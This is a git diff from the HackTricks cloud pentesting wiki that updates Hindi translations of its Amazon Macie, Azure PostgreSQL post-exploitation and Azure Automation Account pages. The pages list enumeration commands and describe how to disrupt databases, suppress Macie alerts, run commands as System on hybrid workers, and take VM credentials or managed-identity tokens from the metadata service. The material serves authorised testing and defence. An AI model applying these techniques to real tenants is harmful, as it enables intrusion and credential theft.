mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-26 12:51:33 -08:00
Translated ['src/pentesting-cloud/azure-security/az-services/az-logic-ap
This commit is contained in:
Translator
@@ -1,48 +1,142 @@
|
||||
# Amazon Macie
|
||||
|
||||
## Introduction
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Amazon Macie एक डेटा सुरक्षा सेवा है जो मशीन लर्निंग और पैटर्न मिलान का उपयोग करके संवेदनशील डेटा की खोज करती है, डेटा सुरक्षा जोखिमों में दृश्यता प्रदान करती है, और उन जोखिमों के खिलाफ स्वचालित सुरक्षा सक्षम करती है।
|
||||
## Macie
|
||||
|
||||
## Listing Findings with AWS Console
|
||||
Amazon Macie एक सेवा है जो **स्वचालित रूप से डेटा का पता लगाने, वर्गीकृत करने और पहचानने** के लिए डिज़ाइन की गई है जो एक AWS खाते के भीतर है। यह **मशीन लर्निंग** का उपयोग करके डेटा की निरंतर निगरानी और विश्लेषण करता है, मुख्य रूप से **क्लाउड ट्रेल इवेंट** डेटा और उपयोगकर्ता व्यवहार पैटर्न की जांच करके असामान्य या संदिग्ध गतिविधियों का पता लगाने और अलर्ट करने पर ध्यान केंद्रित करता है।
|
||||
|
||||
एक विशिष्ट S3 बकेट को रहस्यों और संवेदनशील डेटा के लिए स्कैन करने के बाद, निष्कर्ष उत्पन्न होंगे और कंसोल में प्रदर्शित होंगे। अधिकृत उपयोगकर्ता जिनके पास पर्याप्त अनुमतियाँ हैं, वे प्रत्येक नौकरी के लिए इन निष्कर्षों को देख और सूचीबद्ध कर सकते हैं।
|
||||
Amazon Macie की प्रमुख विशेषताएँ:
|
||||
|
||||
1. **सक्रिय डेटा समीक्षा**: AWS खाते के भीतर विभिन्न क्रियाओं के दौरान डेटा की सक्रिय समीक्षा के लिए मशीन लर्निंग का उपयोग करता है।
|
||||
2. **असामान्यता पहचान**: असामान्य गतिविधियों या पहुंच पैटर्न की पहचान करता है, संभावित डेटा एक्सपोज़र जोखिमों को कम करने के लिए अलर्ट उत्पन्न करता है।
|
||||
3. **निरंतर निगरानी**: Amazon S3 में नए डेटा की स्वचालित निगरानी और पहचान करता है, समय के साथ डेटा पहुंच पैटर्न के अनुकूलन के लिए मशीन लर्निंग और आर्टिफिशियल इंटेलिजेंस का उपयोग करता है।
|
||||
4. **NLP के साथ डेटा वर्गीकरण**: विभिन्न डेटा प्रकारों को वर्गीकृत और व्याख्या करने के लिए प्राकृतिक भाषा प्रसंस्करण (NLP) का उपयोग करता है, खोजों को प्राथमिकता देने के लिए जोखिम स्कोर असाइन करता है।
|
||||
5. **सुरक्षा निगरानी**: सुरक्षा-संवेदनशील डेटा की पहचान करता है, जिसमें API कुंजी, गुप्त कुंजी, और व्यक्तिगत जानकारी शामिल है, डेटा लीक को रोकने में मदद करता है।
|
||||
|
||||
Amazon Macie एक **क्षेत्रीय सेवा** है और कार्यक्षमता के लिए 'AWSMacieServiceCustomerSetupRole' IAM Role और सक्षम AWS CloudTrail की आवश्यकता होती है।
|
||||
|
||||
### अलर्ट सिस्टम
|
||||
|
||||
Macie अलर्ट को पूर्वनिर्धारित श्रेणियों में वर्गीकृत करता है जैसे:
|
||||
|
||||
- अनामिक पहुंच
|
||||
- डेटा अनुपालन
|
||||
- क्रेडेंशियल हानि
|
||||
- विशेषाधिकार वृद्धि
|
||||
- रैंसमवेयर
|
||||
- संदिग्ध पहुंच, आदि।
|
||||
|
||||
ये अलर्ट प्रभावी प्रतिक्रिया और समाधान के लिए विस्तृत विवरण और परिणाम विभाजन प्रदान करते हैं।
|
||||
|
||||
### डैशबोर्ड विशेषताएँ
|
||||
|
||||
डैशबोर्ड डेटा को विभिन्न अनुभागों में वर्गीकृत करता है, जिसमें शामिल हैं:
|
||||
|
||||
- S3 ऑब्जेक्ट (समय सीमा, ACL, PII के अनुसार)
|
||||
- उच्च-जोखिम क्लाउडट्रेल इवेंट/उपयोगकर्ता
|
||||
- गतिविधि स्थान
|
||||
- क्लाउडट्रेल उपयोगकर्ता पहचान प्रकार, और अधिक।
|
||||
|
||||
### उपयोगकर्ता वर्गीकरण
|
||||
|
||||
उपयोगकर्ताओं को उनके API कॉल के जोखिम स्तर के आधार पर स्तरों में वर्गीकृत किया जाता है:
|
||||
|
||||
- **प्लैटिनम**: उच्च-जोखिम API कॉल, अक्सर प्रशासनिक विशेषाधिकार के साथ।
|
||||
- **गोल्ड**: अवसंरचना से संबंधित API कॉल।
|
||||
- **सिल्वर**: मध्यम-जोखिम API कॉल।
|
||||
- **ब्रॉन्ज**: निम्न-जोखिम API कॉल।
|
||||
|
||||
### पहचान प्रकार
|
||||
|
||||
पहचान प्रकारों में रूट, IAM उपयोगकर्ता, अनुमोदित भूमिका, संघीय उपयोगकर्ता, AWS खाता, और AWS सेवा शामिल हैं, जो अनुरोधों के स्रोत को इंगित करते हैं।
|
||||
|
||||
### डेटा वर्गीकरण
|
||||
|
||||
डेटा वर्गीकरण में शामिल हैं:
|
||||
|
||||
- सामग्री-प्रकार: पहचान की गई सामग्री प्रकार के आधार पर।
|
||||
- फ़ाइल एक्सटेंशन: फ़ाइल एक्सटेंशन के आधार पर।
|
||||
- विषय: फ़ाइलों के भीतर कीवर्ड के अनुसार वर्गीकृत।
|
||||
- Regex: विशिष्ट regex पैटर्न के आधार पर वर्गीकृत।
|
||||
|
||||
इन श्रेणियों में से सबसे उच्च जोखिम फ़ाइल के अंतिम जोखिम स्तर को निर्धारित करता है।
|
||||
|
||||
### अनुसंधान और विश्लेषण
|
||||
|
||||
Amazon Macie का अनुसंधान कार्य सभी Macie डेटा के लिए कस्टम क्वेरी की अनुमति देता है ताकि गहन विश्लेषण किया जा सके। फ़िल्टर में क्लाउडट्रेल डेटा, S3 बकेट गुण, और S3 ऑब्जेक्ट शामिल हैं। इसके अलावा, यह अन्य खातों को Amazon Macie साझा करने के लिए आमंत्रित करने का समर्थन करता है, जिससे सहयोगात्मक डेटा प्रबंधन और सुरक्षा निगरानी को सुविधाजनक बनाया जा सके।
|
||||
|
||||
## AWS कंसोल के साथ निष्कर्षों की सूची
|
||||
|
||||
एक विशिष्ट S3 बकेट को रहस्यों और संवेदनशील डेटा के लिए स्कैन करने के बाद, निष्कर्ष उत्पन्न होंगे और कंसोल में प्रदर्शित होंगे। अधिकृत उपयोगकर्ता जिनके पास पर्याप्त अनुमतियाँ हैं, वे प्रत्येक कार्य के लिए इन निष्कर्षों को देख और सूचीबद्ध कर सकते हैं।
|
||||
|
||||
<img width="1438" alt="Screenshot 2025-02-10 at 19 08 08" src="https://github.com/user-attachments/assets/4420f13e-c071-4ae4-946b-6fe67449a9f6" />
|
||||
|
||||
|
||||
## Revealing Secret
|
||||
## रहस्य प्रकट करना
|
||||
|
||||
Amazon Macie एक फीचर प्रदान करता है जो पहचानित रहस्यों को स्पष्ट-टेक्स्ट प्रारूप में प्रदर्शित करता है। यह कार्यक्षमता समझौता किए गए डेटा की पहचान में सहायता करती है। हालाँकि, स्पष्ट-टेक्स्ट में रहस्यों को प्रदर्शित करना सामान्यतः सुरक्षा चिंताओं के कारण सर्वोत्तम प्रथा नहीं माना जाता है, क्योंकि यह संवेदनशील जानकारी को संभावित रूप से उजागर कर सकता है।
|
||||
Amazon Macie एक सुविधा प्रदान करता है जो पहचान की गई रहस्यों को स्पष्ट-टेक्स्ट प्रारूप में प्रदर्शित करता है। यह कार्यक्षमता समझौता किए गए डेटा की पहचान में मदद करती है। हालाँकि, स्पष्ट-टेक्स्ट में रहस्यों को प्रदर्शित करना सामान्यतः सुरक्षा चिंताओं के कारण सर्वोत्तम प्रथा नहीं माना जाता है, क्योंकि यह संवेदनशील जानकारी को उजागर कर सकता है।
|
||||
|
||||
<img width="596" alt="Screenshot 2025-02-10 at 19 13 53" src="https://github.com/user-attachments/assets/31c40c29-0bba-429b-8b86-4e214d1aef66" />
|
||||
|
||||
<img width="1154" alt="Screenshot 2025-02-10 at 19 15 11" src="https://github.com/user-attachments/assets/df616e56-a11a-41da-ac69-0bea37d143a5" />
|
||||
|
||||
## Enumeration
|
||||
### Enumeration
|
||||
```bash
|
||||
# List and describe classification jobs
|
||||
aws macie2 list-classification-jobs --region eu-west-1
|
||||
aws macie2 describe-classification-job --job-id <Job_ID> --region eu-west-1
|
||||
# Get buckets
|
||||
aws macie2 describe-buckets
|
||||
|
||||
# Org config
|
||||
aws macie2 describe-organization-configuration
|
||||
|
||||
# Get admin account (if any)
|
||||
aws macie2 get-administrator-account
|
||||
aws macie2 list-organization-admin-accounts # Run from the management account of the org
|
||||
|
||||
# Get macie account members (run this from the admin account)
|
||||
aws macie2 list-members
|
||||
|
||||
# Check if automated sensitive data discovey is enabled
|
||||
aws macie2 get-automated-discovery-configuration
|
||||
|
||||
# Get findings
|
||||
aws macie2 list-findings
|
||||
aws macie2 get-findings --finding-ids <ids>
|
||||
aws macie2 list-findings-filters
|
||||
aws macie2 get -findings-filters --id <id>
|
||||
|
||||
# Get allow lists
|
||||
aws macie2 list-allow-lists
|
||||
aws macie2 get-allow-list --id <id>
|
||||
|
||||
# Get different info
|
||||
aws macie2 list-classification-jobs
|
||||
aws macie2 describe-classification-job --job-id <Job_ID>
|
||||
aws macie2 list-classification-scopes
|
||||
aws macie2 list-custom-data-identifiers
|
||||
aws macie2 get-custom-data-identifier --id <Identifier_ID>
|
||||
|
||||
# Retrieve account details and statistics
|
||||
aws macie2 get-macie-session --region eu-west-1
|
||||
aws macie2 get-usage-statistics --region eu-west-1
|
||||
|
||||
# List and manage Macie members (for organizations)
|
||||
aws macie2 list-members --region eu-west-1
|
||||
|
||||
# List findings and get detailed information about specific findings
|
||||
aws macie2 list-findings --region eu-west-1
|
||||
aws macie2 get-findings --finding-id <Finding_ID> --region eu-west-1
|
||||
|
||||
# Manage custom data identifiers
|
||||
aws macie2 list-custom-data-identifiers --region eu-west-1
|
||||
aws macie2 get-custom-data-identifier --id <Identifier_ID> --region eu-west-1
|
||||
|
||||
# List and detail findings filters
|
||||
aws macie2 list-findings-filters --region eu-west-1
|
||||
aws macie2 get-findings-filter --id <Filter_ID> --region eu-west-1
|
||||
|
||||
aws macie2 get-macie-session
|
||||
aws macie2 get-usage-statistic
|
||||
```
|
||||
### Privesc
|
||||
|
||||
{{#ref}}
|
||||
../aws-privilege-escalation/aws-macie-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
### Post Exploitation
|
||||
|
||||
> [!TIP]
|
||||
> हमलावर के दृष्टिकोण से, यह सेवा हमलावर का पता लगाने के लिए नहीं बनाई गई है, बल्कि संग्रहीत फ़ाइलों में संवेदनशील जानकारी का पता लगाने के लिए बनाई गई है। इसलिए, यह सेवा **हमलावर को बकेट के अंदर संवेदनशील जानकारी खोजने में मदद कर सकती है**।\
|
||||
> हालाँकि, शायद एक हमलावर इसे बाधित करने में भी रुचि रख सकता है ताकि पीड़ित को अलर्ट प्राप्त करने से रोका जा सके और उस जानकारी को चुराना आसान हो सके।
|
||||
|
||||
TODO: PRs are welcome!
|
||||
|
||||
## References
|
||||
|
||||
- [https://cloudacademy.com/blog/introducing-aws-security-hub/](https://cloudacademy.com/blog/introducing-aws-security-hub/)
|
||||
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,14 +1,24 @@
|
||||
# Az - PostgreSQL पोस्ट एक्सप्लॉइटेशन
|
||||
# Az - PostgreSQL पोस्ट एक्सप्लोइटेशन
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## PostgreSQL डेटाबेस पोस्ट एक्सप्लॉइटेशन
|
||||
## PostgreSQL डेटाबेस पोस्ट एक्सप्लोइटेशन
|
||||
PostgreSQL डेटाबेस के बारे में अधिक जानकारी के लिए देखें:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-postgresql.md
|
||||
{{#endref}}
|
||||
|
||||
### स्टोरेज खातों तक पहुंचने के लिए pg_azure_storage एक्सटेंशन का उपयोग करें
|
||||
|
||||
यह संभव है कि **`pg_azure_storage` एक्सटेंशन का उपयोग करके Azure स्टोरेज खातों तक पहुंचा जाए** PostgreSQL सर्वर से। यह सर्वर को असाइन की गई प्रबंधित पहचान के अनुमतियों का उपयोग करेगा ताकि स्टोरेज खाते तक पहुंचा जा सके।
|
||||
|
||||
अधिक जानकारी के लिए इस तकनीक को देखें जो विशेषाधिकार वृद्धि अनुभाग में समझाई गई है:
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-postgresql-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
### `Microsoft.DBforPostgreSQL/flexibleServers/databases/write` && `Microsoft.DBforPostgreSQL/flexibleServers/databases/read`
|
||||
|
||||
इस अनुमति के साथ, आप Azure पर एक Postgres फ्लेक्सिबल सर्वर इंस्टेंस के भीतर नए डेटाबेस बना सकते हैं। जबकि यह क्रिया स्वयं मौजूदा संसाधनों को संशोधित नहीं करती है, डेटाबेस का अत्यधिक या अनधिकृत निर्माण संसाधन खपत या सर्वर के संभावित दुरुपयोग का कारण बन सकता है।
|
||||
@@ -18,15 +28,6 @@ az postgres flexible-server db create \
|
||||
--resource-group <resource_group_name> \
|
||||
--database-name <database_name>
|
||||
```
|
||||
### `Microsoft.DBforPostgreSQL/flexibleServers/backups/write`
|
||||
|
||||
इस अनुमति के साथ, आप Azure पर एक Postgres Flexible Server उदाहरण के लिए बैकअप बनाने की प्रक्रिया शुरू कर सकते हैं। यह उपयोगकर्ताओं को मांग पर बैकअप उत्पन्न करने की अनुमति देता है, जो विशिष्ट समय पर डेटा को संरक्षित करने के लिए उपयोगी हो सकता है।
|
||||
```bash
|
||||
az postgres flexible-server backup create \
|
||||
--name <server_name> \
|
||||
--resource-group <resource_group_name>
|
||||
--backup-name <backup_name>
|
||||
```
|
||||
### `Microsoft.DBforPostgreSQL/flexibleServers/advancedThreatProtectionSettings/write` && `Microsoft.DBforPostgreSQL/flexibleServers/advancedThreatProtectionSettings/read`
|
||||
|
||||
इस अनुमति के साथ, आप Azure पर एक Postgres Flexible Server उदाहरण के लिए Advanced Threat Protection (ATP) सेटिंग्स को कॉन्फ़िगर या अपडेट कर सकते हैं। यह असामान्य गतिविधियों और संभावित खतरों का पता लगाने और प्रतिक्रिया देने के लिए डिज़ाइन की गई सुरक्षा सुविधाओं को सक्षम या अक्षम करने की अनुमति देता है।
|
||||
@@ -68,7 +69,7 @@ az postgres flexible-server parameter set \
|
||||
```
|
||||
### `Microsoft.DBforPostgreSQL/flexibleServers/stop/action`
|
||||
|
||||
इस अनुमति के साथ, आप Azure पर PostgreSQL Flexible Server इंस्टेंस को रोक सकते हैं। एक सर्वर को रोकने से अस्थायी सेवा बाधित हो सकती है, जो डेटाबेस पर निर्भर एप्लिकेशन और उपयोगकर्ताओं को प्रभावित कर सकती है।
|
||||
इस अनुमति के साथ, आप Azure पर PostgreSQL Flexible Server इंस्टेंस को रोक सकते हैं। एक सर्वर को रोकने से अस्थायी सेवा में व्यवधान आ सकता है, जो डेटाबेस पर निर्भर एप्लिकेशन और उपयोगकर्ताओं को प्रभावित कर सकता है।
|
||||
```bash
|
||||
az postgres flexible-server stop \
|
||||
--name <server_name> \
|
||||
|
||||
@@ -8,7 +8,7 @@ Azure Automation Accounts Microsoft Azure में क्लाउड-आधा
|
||||
|
||||
### Settings
|
||||
|
||||
- **Credentials**: पासवर्ड केवल स्वचालन खाते के भीतर एक रनबुक के भीतर सुलभ है, इन्हें **उपयोगकर्ता नाम और पासवर्ड को सुरक्षित रूप से स्टोर करने** के लिए उपयोग किया जाता है।
|
||||
- **Credentials**: पासवर्ड केवल स्वचालन खाते के भीतर एक रनबुक के भीतर ही सुलभ है, इन्हें **उपयोगकर्ता नाम और पासवर्ड को सुरक्षित रूप से स्टोर करने** के लिए उपयोग किया जाता है।
|
||||
- **Variables**: **कॉन्फ़िगरेशन डेटा** को स्टोर करने के लिए उपयोग किया जाता है जिसे रनबुक में उपयोग किया जा सकता है। इसमें संवेदनशील जानकारी जैसे API कुंजी भी हो सकती है। यदि वेरिएबल **एन्क्रिप्टेड** है, तो यह केवल स्वचालन खाते के भीतर एक रनबुक के भीतर उपलब्ध है।
|
||||
- **Certificates**: **सर्टिफिकेट** को स्टोर करने के लिए उपयोग किया जाता है जिसे रनबुक में उपयोग किया जा सकता है।
|
||||
- **Connections**: बाहरी सेवाओं के लिए **कनेक्शन जानकारी** को स्टोर करने के लिए उपयोग किया जाता है। इसमें **संवेदनशील जानकारी** हो सकती है।
|
||||
@@ -16,7 +16,7 @@ Azure Automation Accounts Microsoft Azure में क्लाउड-आधा
|
||||
|
||||
### Runbooks & Jobs
|
||||
|
||||
Azure Automation में एक Runbook एक **स्क्रिप्ट है जो स्वचालित रूप से कार्य करती है** आपके क्लाउड वातावरण के भीतर। Runbooks को PowerShell, Python, या ग्राफिकल संपादकों में लिखा जा सकता है। ये प्रशासनिक कार्यों जैसे VM प्रबंधन, पैचिंग, या अनुपालन जांच को स्वचालित करने में मदद करते हैं।
|
||||
Azure Automation में एक Runbook एक **स्क्रिप्ट है जो आपके क्लाउड वातावरण के भीतर स्वचालित रूप से कार्य करती है**। Runbooks को PowerShell, Python, या ग्राफिकल संपादकों में लिखा जा सकता है। ये VM प्रबंधन, पैचिंग, या अनुपालन जांच जैसे प्रशासनिक कार्यों को स्वचालित करने में मदद करते हैं।
|
||||
|
||||
**Runbooks** के भीतर स्थित **कोड** में **संवेदनशील जानकारी** (जैसे क्रेड्स) हो सकती है।
|
||||
|
||||
@@ -26,15 +26,15 @@ Azure Automation में एक Runbook एक **स्क्रिप्ट
|
||||
- **Output**: Runbook निष्पादन का परिणाम।
|
||||
- **Start and End Time**: जब नौकरी शुरू हुई और पूरी हुई।
|
||||
|
||||
एक नौकरी में **Runbook** निष्पादन का **output** होता है। यदि आप **jobs** को **पढ़** सकते हैं, तो ऐसा करें क्योंकि वे **run** का **output** रखते हैं (संभावित **संवेदनशील जानकारी**)।
|
||||
एक नौकरी में **Runbook** निष्पादन का **output** होता है। यदि आप **jobs** को **पढ़** सकते हैं, तो ऐसा करें क्योंकि वे **run** का **output** **contain** करते हैं (संभावित **संवेदनशील जानकारी**)।
|
||||
|
||||
### Schedules & Webhooks
|
||||
|
||||
Runbook निष्पादित करने के 3 मुख्य तरीके हैं:
|
||||
|
||||
- **Schedules**: इन्हें **विशिष्ट समय** या **अवधि** पर Runbooks को **trigger** करने के लिए उपयोग किया जाता है।
|
||||
- **Schedules**: इन्हें **विशिष्ट समय** या **अंतराल** पर Runbooks को **trigger** करने के लिए उपयोग किया जाता है।
|
||||
- **Webhooks**: ये **HTTP endpoints** हैं जिन्हें **बाहरी सेवाओं** से Runbooks को **trigger** करने के लिए उपयोग किया जा सकता है। ध्यान दें कि webhook URL **निर्माण के बाद दिखाई नहीं देता**।
|
||||
- **Manual Trigger**: आप Azure Portal और CLI से एक Runbook को **हाथ से ट्रिगर** कर सकते हैं।
|
||||
- **Manual Trigger**: आप Azure Portal और CLI से एक Runbook को **मैन्युअल रूप से ट्रिगर** कर सकते हैं।
|
||||
|
||||
### Source Control
|
||||
|
||||
@@ -42,13 +42,13 @@ Runbook निष्पादित करने के 3 मुख्य तर
|
||||
|
||||
जब समन्वय सक्षम होता है, तो **Github रिपॉजिटरी में एक webhook बनाया जाता है** ताकि हर बार एक पुश इवेंट होने पर समन्वय को ट्रिगर किया जा सके। एक webhook URL का उदाहरण: `https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=DRjQyFiOrUtz%2fw7o23XbDpOlTe1%2bUqPQm4pQH2WBfJg%3d`
|
||||
|
||||
ध्यान दें कि ये webhooks **Github repo से संबंधित runbooks में सूचीबद्ध करते समय दिखाई नहीं देंगे**। यह भी ध्यान दें कि एक बार बनाए जाने के बाद **source control का repo URL बदलना संभव नहीं है**।
|
||||
ध्यान दें कि ये webhooks **Github repo से संबंधित रनबुक में सूचीबद्ध करते समय दिखाई नहीं देंगे**। यह भी ध्यान दें कि एक बार बनाए जाने के बाद **source control का repo URL बदलना संभव नहीं है**।
|
||||
|
||||
कॉन्फ़िगर किए गए स्रोत नियंत्रण के काम करने के लिए, **Azure Automation Account** को एक प्रबंधित पहचान (सिस्टम या उपयोगकर्ता) के साथ **`Contributor`** भूमिका होनी चाहिए। इसके अलावा, Automation Account को उपयोगकर्ता प्रबंधित पहचान सौंपने के लिए, यह आवश्यक है कि उपयोगकर्ता MI के क्लाइंट ID को वेरिएबल **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`** में इंगित किया जाए।
|
||||
कॉन्फ़िगर किए गए स्रोत नियंत्रण के काम करने के लिए, **Azure Automation Account** को **`Contributor`** भूमिका के साथ एक प्रबंधित पहचान (system या user) होनी चाहिए। इसके अलावा, Automation Account को उपयोगकर्ता प्रबंधित पहचान सौंपने के लिए, यह आवश्यक है कि उपयोगकर्ता MI के क्लाइंट ID को वेरिएबल **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`** में इंगित किया जाए।
|
||||
|
||||
### Runtime Environments
|
||||
|
||||
जब एक Runbook बनाया जाता है तो रनटाइम वातावरण का चयन करना संभव है। डिफ़ॉल्ट रूप से, निम्नलिखित रनटाइम वातावरण उपलब्ध हैं:
|
||||
जब एक Runbook बनाया जाता है, तो रनटाइम वातावरण का चयन करना संभव है। डिफ़ॉल्ट रूप से, निम्नलिखित रनटाइम वातावरण उपलब्ध हैं:
|
||||
|
||||
- **Powershell 5.1**
|
||||
- **Powershell 7.1**
|
||||
@@ -57,20 +57,20 @@ Runbook निष्पादित करने के 3 मुख्य तर
|
||||
- **Python 3.8**
|
||||
- **Python 2.7**
|
||||
|
||||
हालांकि, यह भी संभव है कि आप इनमें से किसी एक का उपयोग करके **अपने स्वयं के वातावरण** बनाएँ। Python के मामले में, यह संभव है कि आप उस वातावरण में उपयोग किए जाने वाले `.whl` पैकेज अपलोड करें। PowerShell के मामले में, यह संभव है कि आप रनटाइम में रखने के लिए मॉड्यूल के साथ `.zip` पैकेज अपलोड करें।
|
||||
हालांकि, यह भी संभव है कि आप इनमें से किसी एक का उपयोग करके **अपने स्वयं के वातावरण** बनाएँ। Python के मामले में, यह संभव है कि आप उस वातावरण में उपयोग के लिए `.whl` पैकेज अपलोड करें। PowerShell के मामले में, यह संभव है कि आप रनटाइम में रखने के लिए मॉड्यूल के साथ `.zip` पैकेज अपलोड करें।
|
||||
|
||||
### Hybrid Worker Groups
|
||||
|
||||
Azure Automation में, Runbooks के लिए डिफ़ॉल्ट निष्पादन वातावरण **Azure Sandbox** है, जो Azure द्वारा प्रबंधित एक क्लाउड-आधारित प्लेटफ़ॉर्म है, जो Azure संसाधनों से संबंधित कार्यों के लिए उपयुक्त है। हालाँकि, इस सैंडबॉक्स में सीमाएँ हैं, जैसे ऑन-प्रिमाइसेस संसाधनों तक सीमित पहुँच और निष्पादन समय और संसाधन उपयोग पर प्रतिबंध। इन सीमाओं को पार करने के लिए, हाइब्रिड कार्यकर्ता समूहों का उपयोग किया जाता है। एक हाइब्रिड कार्यकर्ता समूह में **एक या एक से अधिक हाइब्रिड रनबुक कार्यकर्ता शामिल होते हैं जो आपकी मशीनों पर स्थापित होते हैं**, चाहे वे ऑन-प्रिमाइसेस हों, अन्य क्लाउड वातावरण में हों या Azure VMs में। यह सेटअप Runbooks को इन मशीनों पर सीधे निष्पादित करने की अनुमति देता है, स्थानीय संसाधनों तक सीधी पहुँच प्रदान करता है, लंबे और अधिक संसाधन-गहन कार्यों को चलाने की क्षमता और Azure की तात्कालिक पहुँच से परे वातावरण के साथ बातचीत करने की लचीलापन प्रदान करता है।
|
||||
Azure Automation में, Runbooks के लिए डिफ़ॉल्ट निष्पादन वातावरण **Azure Sandbox** है, जो Azure द्वारा प्रबंधित एक क्लाउड-आधारित प्लेटफ़ॉर्म है, जो Azure संसाधनों से संबंधित कार्यों के लिए उपयुक्त है। हालाँकि, इस सैंडबॉक्स में सीमाएँ हैं, जैसे ऑन-प्रिमाइसेस संसाधनों तक सीमित पहुँच और निष्पादन समय और संसाधन उपयोग पर प्रतिबंध। इन सीमाओं को पार करने के लिए, हाइब्रिड कार्यकर्ता समूहों का उपयोग किया जाता है। एक हाइब्रिड कार्यकर्ता समूह में **आपकी अपनी मशीनों पर स्थापित एक या अधिक हाइब्रिड रनबुक कार्यकर्ता** होते हैं, चाहे वे ऑन-प्रिमाइसेस, अन्य क्लाउड वातावरण या Azure VMs में हों। यह सेटअप रनबुक को सीधे इन मशीनों पर निष्पादित करने की अनुमति देता है, स्थानीय संसाधनों तक सीधी पहुँच प्रदान करता है, लंबे और अधिक संसाधन-गहन कार्यों को चलाने की क्षमता, और Azure की तात्कालिक पहुँच से परे वातावरण के साथ बातचीत करने की लचीलापन।
|
||||
|
||||
जब एक हाइब्रिड कार्यकर्ता समूह बनाया जाता है, तो उपयोग करने के लिए **credentials** इंगित करना आवश्यक होता है। 2 विकल्प हैं:
|
||||
जब एक हाइब्रिड कार्यकर्ता समूह बनाया जाता है, तो उपयोग करने के लिए **credentials** इंगित करना आवश्यक होता है। यहाँ 2 विकल्प हैं:
|
||||
|
||||
- **Default credentials**: आपको क्रेडेंशियल प्रदान करने की आवश्यकता नहीं है और रनबुक VMs के भीतर **System** के रूप में निष्पादित की जाएगी।
|
||||
- **Specific credentials**: आपको स्वचालन खाते के भीतर क्रेडेंशियल ऑब्जेक्ट का नाम प्रदान करने की आवश्यकता है, जिसका उपयोग **VMs के भीतर रनबुक्स को निष्पादित करने** के लिए किया जाएगा। इसलिए, इस मामले में, यह संभव हो सकता है कि **VMs के लिए मान्य क्रेडेंशियल चुराए जाएँ**।
|
||||
- **Default credentials**: आपको क्रेडेंशियल प्रदान करने की आवश्यकता नहीं है और रनबुक VMs के भीतर **System** के रूप में निष्पादित होंगे।
|
||||
- **Specific credentials**: आपको स्वचालन खाते के भीतर क्रेडेंशियल ऑब्जेक्ट का नाम प्रदान करने की आवश्यकता है, जिसका उपयोग **VMs के भीतर रनबुक को निष्पादित करने** के लिए किया जाएगा। इसलिए, इस मामले में, यह संभव हो सकता है कि **VMs के लिए मान्य क्रेडेंशियल चुराए जाएँ**।
|
||||
|
||||
इसलिए, यदि आप **Hybrid Worker** में एक **Runbook** चलाने का विकल्प चुनते हैं, तो आप **System** के रूप में एक बाहरी मशीन के भीतर **मनमाने आदेश** निष्पादित करेंगे (अच्छी पिवट तकनीक)।
|
||||
|
||||
इसके अलावा, यदि हाइब्रिड कार्यकर्ता Azure में अन्य प्रबंधित पहचानों के साथ चल रहा है, तो रनबुक **रनबुक की प्रबंधित पहचान और VM की सभी प्रबंधित पहचानों तक पहुँच प्राप्त कर सकेगी** जो मेटाडेटा सेवा से हैं।
|
||||
इसके अलावा, यदि हाइब्रिड कार्यकर्ता Azure में अन्य प्रबंधित पहचान के साथ चल रहा है, तो रनबुक **रनबुक की प्रबंधित पहचान और VM के सभी प्रबंधित पहचान से मेटाडेटा सेवा** से पहुँच प्राप्त कर सकेगा।
|
||||
|
||||
> [!TIP]
|
||||
> याद रखें कि **मेटाडेटा सेवा** का एक अलग URL है (**`http://169.254.169.254`**) उस सेवा से जहाँ स्वचालन खाते की प्रबंधित पहचान टोकन प्राप्त किया जाता है (**`IDENTITY_ENDPOINT`**)।
|
||||
@@ -80,9 +80,9 @@ Azure Automation में, Runbooks के लिए डिफ़ॉल्ट
|
||||
> [!WARNING]
|
||||
> जैसा कि [the docs](https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview) में संकेत दिया गया है, Azure Automation State Configuration 30 सितंबर, 2027 को समाप्त हो जाएगा और [Azure Machine Configuration](https://learn.microsoft.com/en-us/azure/governance/machine-configuration/overview) द्वारा प्रतिस्थापित किया जाएगा।
|
||||
|
||||
Automation Accounts भी **State Configuration (SC)** का समर्थन करते हैं, जो एक विशेषता है जो आपकी VMs की **स्थिति** को **कॉन्फ़िगर** और **रखरखाव** करने में मदद करती है। यह **Windows** और **Linux** मशीनों पर DSC कॉन्फ़िगरेशन **बनाने** और **लागू करने** की अनुमति देता है।
|
||||
Automation Accounts भी **State Configuration (SC)** का समर्थन करते हैं, जो एक विशेषता है जो आपकी VMs की **स्थिति** को **कॉन्फ़िगर** और **रखरखाव** करने में मदद करती है। यह **Windows** और **Linux** मशीनों पर DSC कॉन्फ़िगरेशन को **बनाने** और **लागू करने** की अनुमति देता है।
|
||||
|
||||
हमलावरों के दृष्टिकोण से यह दिलचस्प था क्योंकि यह **सभी कॉन्फ़िगर की गई VMs में मनमाने PS कोड को निष्पादित करने** की अनुमति देता था जिससे इन VMs की प्रबंधित पहचानों के लिए विशेषाधिकार बढ़ाने की अनुमति मिलती थी, संभावित रूप से नए नेटवर्क में पिवटिंग... इसके अलावा, कॉन्फ़िगरेशन में **संवेदनशील जानकारी** हो सकती है।
|
||||
हमलावरों के दृष्टिकोण से यह दिलचस्प था क्योंकि यह **सभी कॉन्फ़िगर की गई VMs में मनमाने PS कोड को निष्पादित करने** की अनुमति देता था जिससे इन VMs की प्रबंधित पहचान के लिए विशेषाधिकार बढ़ाने की अनुमति मिलती थी, संभावित रूप से नए नेटवर्क में पिवटिंग... इसके अलावा, कॉन्फ़िगरेशन में **संवेदनशील जानकारी** हो सकती है।
|
||||
|
||||
## Enumeration
|
||||
```bash
|
||||
@@ -226,12 +226,18 @@ Get-AzAutomationAccount | Get-AzAutomationPython3Package
|
||||
# List hybrid workers
|
||||
Get-AzAutomationHybridWorkerGroup -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME>
|
||||
```
|
||||
## विशेषाधिकार वृद्धि और पोस्ट एक्सप्लोइटेशन
|
||||
